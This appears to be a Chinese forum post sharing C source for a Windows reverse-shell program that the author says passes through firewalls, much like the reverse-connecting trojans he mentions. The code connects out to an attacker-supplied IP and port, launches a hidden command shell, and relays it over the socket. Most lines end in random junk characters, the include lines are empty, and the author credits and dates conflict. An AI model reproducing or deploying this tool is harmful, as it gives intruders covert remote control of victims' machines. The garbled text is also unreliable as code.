这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dL1~]Z
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/* ============================== sV9{4T~#|
Rebound port in Windows NT &.|;yt%v
By wind,2006/7 BsoFQw4$9
===============================*/ + TPbIRA
#include T=hm#]
#include 'US:Mr3
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#pragma comment(lib,"wsock32.lib") P^'>dOI0w
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void OutputShell(); `DU'wB
SOCKET sClient; eY0Ly7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5^G7pI7
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void main(int argc,char **argv) }'@tA")-)
{ VWnu#_(
WSADATA stWsaData; b AA'=z<
int nRet; d +*T@k]>M
SOCKADDR_IN stSaiClient,stSaiServer; T>AI0R3
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if(argc != 3) 6/p]jN
{ :epitpJ
printf("Useage:\n\rRebound DestIP DestPort\n"); e8WPV
return; +lY\r + ;
} R 47I\{
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WSAStartup(MAKEWORD(2,2),&stWsaData); mvW^P`nB
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JC Cx 5
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stSaiClient.sin_family = AF_INET; YyX^lL_
stSaiClient.sin_port = htons(0); f_z2#,g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [A.eVuV;+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q\{;_?a
{ !VJT"Ds_
printf("Bind Socket Failed!\n"); J8`1V`$
return; Q rrZF.
} >o=axZNa
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stSaiServer.sin_family = AF_INET; ;n:H6cp
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +#i,87
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JsAb q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g*"J10hyP
{ bOnukbJ
printf("Connect Error!"); DI2S
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return; |zr)hC
} A ydy=sj
OutputShell(); O(c4iWm
} .q|xMS}4
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void OutputShell() _3FMQY(
{ p!rGPyGC
char szBuff[1024]; Q
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SECURITY_ATTRIBUTES stSecurityAttributes; 6i?kkULBS
OSVERSIONINFO stOsversionInfo; `"bRjC"f]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B4M'Er{v
STARTUPINFO stStartupInfo; EP%
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char *szShell; Bt`r6v;\
PROCESS_INFORMATION stProcessInformation; hH|XtQ.n^
unsigned long lBytesRead; s]V{}bY`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \sXmMc
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f R{WS:Pv
stSecurityAttributes.lpSecurityDescriptor = 0; MZhJ,km)
stSecurityAttributes.bInheritHandle = TRUE; * Kp ^al
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J[_?>YJ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4=#QN
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aV92.Z_Ku
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'E4(!H,k
stStartupInfo.wShowWindow = SW_HIDE; *<
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stStartupInfo.hStdInput = hReadPipe; Qg8eq_m(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _oyL*Cb
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GetVersionEx(&stOsversionInfo); k%bTs+]*
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switch(stOsversionInfo.dwPlatformId) Ug[F3J|Mu
{ *^&iw$Qx3
case 1: 36D,el In
szShell = "command.com"; ?),K=E+=U
break; 6`{)p&9
default: 8)Bn?6.
szShell = "cmd.exe"; s#8{:ko
break; ROI$;B(
} D-;43>yi<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KTS7)2ci
4 9+}OIX
send(sClient,szMsg,77,0); Bg
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while(1) s t 3]Yy
{ M3xi 0/.
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )-6[Bw
if(lBytesRead) 8i+jFSZ$
{ hF?\K^tF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e1Z;\U$&.
send(sClient,szBuff,lBytesRead,0); ZBh@%A
} DW;.R<8
else l>Oe ,`9O
{ ;:K?7wfXn
lBytesRead=recv(sClient,szBuff,1024,0); BtDgv.;GH
if(lBytesRead<=0) break; HoQ(1e$G-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zJym`NF
} v+,
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} {gq:sj>
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return; ^SES')x
}